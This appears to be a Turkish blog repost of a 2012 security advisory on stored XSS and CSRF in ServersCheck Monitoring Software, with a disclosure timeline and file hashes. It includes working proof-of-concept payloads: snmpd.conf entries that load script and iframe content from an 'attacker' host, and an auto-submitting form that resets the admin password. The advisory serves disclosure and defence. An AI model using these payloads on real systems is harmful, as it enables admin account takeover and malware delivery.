ServersCheck Monitoring Software v9.0.12 / 9.0.14 – Stored XSS

ServersChesk Monitoring v9.0.12-147 versiyonlarında fotoğrafta görüleceği üzere XSS açıkları bulundu. Bu açıkla kötü niyetli olarak karşı tarafa exe dosyaları açtırılabiliyor virüs, keylogger, trojan gibi kötü niyetli yazılımların bulaşması sağlanabiliyor. Açığa ilişkin açıklama şu şekilde;


# Author: loneferret of Offensive Security # Product: ServersCheck Monitoring Software # Version: 9.0.12 - 9.0.14 (some versions of 9.0.15) # Vendor Site: <a href="http://www.serverscheck.com">http://www.serverscheck.com</a> # Software Download: <a href="http://www.serverscheck.com/monitoring_software/download.asp">http://www.serverscheck.com/monitoring_software/download.asp</a> # Note: Older Appliances may be affected.

# Discovered: August 18th 2012 # Disclosure: # August 18th 2012: Reported to CERT # September 5th 2012: Tentative disclosure date October 10th 2012 # September 5th 2012: Vendor requesting information/procedure on how to reproduce # September 5th 2012: Sent vendor procedures # September 5th 2012: Vendor says newer version not affected # September 5th 2012: Tested new version, conclusion still affected # September 5th 2012: Newer s-server.exe file supplied/tested version is patched. # September 6th 2012: 9.0.15 download version is now patched. # October 10th 2012: Public release

# Software Description: # The core of our Monitoring Solution is the award winning ServersCheck Monitoring Software. # This software enables you to monitor any networked device for its availability # and performance. It is agentless: no need to have agents installed on the remote # systems being monitored. It can run on your own Windows system or you can # get it as a box: the ServersCheck Monitoring Appliance.

# Vulnerabilities: # The file responsible the vulnerability is called "s-server.exe". # From the 3 versions tested the file's version does not change, so looking at the # MD5 hash can help us determine if an installation is using vulnerable file. # One can only assume that 9.0.13 is vulnerable. # Versions 9.0.12 & 9.0.14 & 9.0.15 (vulnerable): # s-server.exe HASH: MD5 (s-server.exe) = af38d77e0b150d96f68cba4c3e65f316 # Version 9.0.15 (patched): # s-server.exe HASH: MD5 (s-server.exe) = 3e01ff7201df4eb1c0091784a40f3055

# PoC: # Store XSS & Cross Site Request Forgery # The XSS is triggered by configuring a snmpd.conf file to point to an attacker-controlled # JavaScript file. # .. # syslocation <script src="<a href="http://attacker/xss.js&quot;></script">http://attacker/xss.js"></script</a>> # syscontact <iframe src="<a href="http://attacker/scheck-csrf.html&quot;></iframe">http://attacker/scheck-csrf.html"></iframe</a>>

# CSRF PoC: # We can also use the previous XSS to trigger this. Makes for a funny. # Change Admin credentials # File scheck-csrf.html <html>  <body onload="trigger()">  <script>         function trigger() {                 document.getElementById('bad_form').submit();         }  </script>  <form id="bad_form" method="post" action="<a href="http://target:1272/settings2.html">http://target:1272/settings2.html</a>">   <input name="systemsetting" value="secure" type="hidden">   <input name="setting" value="SECURE" type="hidden">   <input value="ok" name="changedsettings" type="hidden">   <input name="systemsetting" value="SECURE" type="hidden">   <input name="XYXadminuser" size="30" value="loneferret" type="hidden"><br>   <input name="adminpass" size="30" value="123456" type="hidden"><br>  </form>  </body> </html>

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir